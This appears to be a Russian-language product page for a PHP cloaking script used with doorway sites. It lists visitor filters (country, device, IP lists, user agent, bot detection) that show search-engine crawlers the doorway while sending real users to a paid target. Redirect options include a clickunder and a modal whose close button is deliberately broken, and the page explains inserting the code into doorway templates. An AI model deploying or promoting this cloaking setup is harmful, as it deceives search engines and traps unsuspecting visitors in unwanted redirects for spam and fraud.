Скрипт клоаки на PHP

V 0.2.6
"Всё тайное рано или поздно становится явным."
© Сократ.
cloak

Клоака работает по принципу сервер/клиент.
Серверную часть можно разместить в корне или папке.
Вход в админку admin.php
Фильтрация:
— по типу устройства (компьютер, планшет, мобильный телефон);
— по стране;
— по городу;
— по языку браузера;
— по спискам IP из .txt файла;
— по данным в useragent;
— по признакам ботов в useragent;
— посетителей с пустым реферером;
— посетителей с яндекс браузером;
— по доменному имени IP;
Тип перенаправления:
Редирект с задержкой;
Редирект с задержкой в новое окно;
Кликандер с установкой cookie;
Редирект при наведении курсора мыши на картинку;
Модальное окно с задержкой;
«Поломаное» модальное окно с задержкой (не работает кнопка «закрыть»);
Модальное окно с задержкой, редирект сработает при наведении мыши;
Iframe;
Умеет:
Передавать ключевое слово.
Проверять посетителя на уникальность (cookie).
Сохранять IP ботов в txt файлы.

FAQ

Данные для типов устройств, стран, городов и языков браузера можно указывать через запятую.
Если какой то параметр не указан, то он игнорируется при проверке.
Например, если поле «Страны» оставить пустым, то платник увидят посетители со всех стран.

Таймер

— задержка редиректа в секундах (3600 = 1 час).
— установка cookie для кликандера в секундах.

Примеры ссылок на платник

http://platnik.ru/[KEY] — с передачей ключевого слова.
http://platnik.ru/index.php?q=[KEY] — с передачей ключевого слова.
http://platnik.ru — без передачи ключевого слова.
Если нужен редирект на страницу этого же домена:
http://[HOST]/registration.php
Глобальные настройки можно изменить в файле config.php.

Свой код

Можно использовать вот такие макросы.
[OUT] — данные из окошка «Ссылка на платник».
[T-REDIRECT] — «Время задержки для редиректа».
[T-COOKIES] — «Время хранения cookies».
Пример кода:

window.location.href="[OUT]";

Интеграция в шаблон

Копируем из админки код и прописываем его в шаблоне дорвея.
Если передача ключевого слова не нужна, можно удалить из кода строку

$key = "[BKEYWORD]";
[BKEYWORD] — макрос доргена PandoraBox, вставляет текущий ключ с большой буквы.
Если редирект на этот же домен использоваться не будет, можно удалить из кода строку

$host = $_SERVER["HTTP_HOST"];
Генерируем и заливаем дорвей …
Заходим под своим юзерагентом: платник открывается в iframe, редиректит на платник и т.д., в зависимости от типа выбраного редиректа.
Открываем дорвей с юзерагентом гугла — видим страницу дорвея, ваш IP автоматически сохраняется в файле ip/google.txt и устанавливаются дополнительные cookie (если установлены чекбоксы в настройках группы).
Пока вы не удалите свой IP из списка, и не почистите куки — платник вы не увидите.

Безопасность

1. В config.php нужно изменить логин и пароль для входа в админку, по умолчанию admin/admin.
2. Переименуйте файл админки admin.php и пропишите новое название в config.php

Все функции клоаки перенесены в zTDS.
Обновлений не будет.

Скачать скрипт клоаки

ChangeLog